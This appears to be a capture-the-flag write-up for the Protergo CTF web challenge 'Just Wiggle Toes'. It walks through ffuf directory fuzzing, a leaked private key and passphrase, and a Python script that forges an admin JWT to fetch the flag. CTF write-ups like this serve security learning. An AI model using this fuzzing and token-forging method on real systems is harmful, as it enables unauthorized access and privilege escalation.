Prologue

An Individual local competition that held by Protergocompany. The competition was starting from 1st February until 8th February. This competition is only limited to students.

Write Up

TL;DR Solution

Fuzzing directory by using wordlist in the SecList with prefix directory-*
Found partial source code in the LittleSecrets
Forge JWT with the private key to achieve an admin role

Detailed Explanation

A black box challenge. There’s no source code in the challenge.

The player is only given an index page and there’s no noteworthy feature in the page. So, I decides to fuzz the directory in the application.

Since the competition is really long enough, I decided to make a big wordlist from SecList.

cat directory-list-* | uniq > directory-list-wildcard-uniq.txt

After that, I tried to fuzz the directory using ffuf and left it for a few days.

ffuf -w ~/payloads/SecLists/Discovery/Web-Content/directory-list-wildcard-uniq.txt -u "http://jakarta.ctf.protergo.party:10003/FUZZ" -fc 404

Visiting /portal_login, the player is given a login form and a register button.

By registering and trying to log in, the player is given the information that the flag is in the admin role.

Visiting /LittleSecrets, the player got sensitive information about the application.

The most important thing is the private.pem file and passphrase file, this files will be used to forge the JWT to achieve privilege escalation.

passphrase

dd2c2aa5a5aad06d93ec17f93f2efcaf

private.pem

Exploitation

When the player login, the player is given a sample JWT

As the picture above, the value of JWT is like this.

{"iss":"http://jakarta.ctf.protergo.party:10003/api/portal_login","iat":1707425463,"exp":1707429063,"nbf":1707425463,"jti":"bRzfk0JlcI2McTAe","sub":"34","prv":"3da04507aadf132cee732fdee4ef6aa390dec579","is_admin":0}

Since the goal is privilege escalation, the player only needs to modify the value is_admin into 1. Players need to forge the JWT by using the information that is already gathered.

from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import jwt, requests, re
pem_bytes = open('./private.pem', 'rb').read()
passphrase = open('./passphrase', 'rb').read().strip()
 
private_key = serialization.load_pem_private_key(
    pem_bytes, password=passphrase, backend=default_backend()
)
 
URL = "http://jakarta.ctf.protergo.party:10003/"
encoded = jwt.encode({"iss":"http://jakarta.ctf.protergo.party:10003/api/portal_login","iat":1707296171,"exp":99999999999,"nbf":1707296171,"jti":"kKpu6PDBBCiuFhdA","sub":"29","prv":"3da04507aadf132cee732fdee4ef6aa390dec579","is_admin":1}, private_key, algorithm="RS256")
 
sess = requests.Session()
sess.get(f'{URL}')
res = sess.get(f'{URL}home', cookies={"auth": encoded})
r = re.compile(r'PROTERGO{.*}')
print(r.findall(res.text)[0])

FLAG: PROTERGO{f5016c424def47159321869c8e7ff4cac79b9e721c0d700cf7c0c8ab7f43b203}

Grimoire Of Nyxmare 🧙‍♂️

Table of Contents

Protergo CTF - [Just Wiggle Toes]

Prologue

Write Up

TL;DR Solution

Detailed Explanation

Exploitation

Graph View

Explorer

Backlinks

Grimoire Of Nyxmare 🧙‍♂️

Table of Contents

Protergo CTF - [Just Wiggle Toes]

Prologue §

Write Up §

TL;DR Solution §

Detailed Explanation §

Exploitation §

Graph View

Explorer

Backlinks

Prologue

Write Up

TL;DR Solution

Detailed Explanation

Exploitation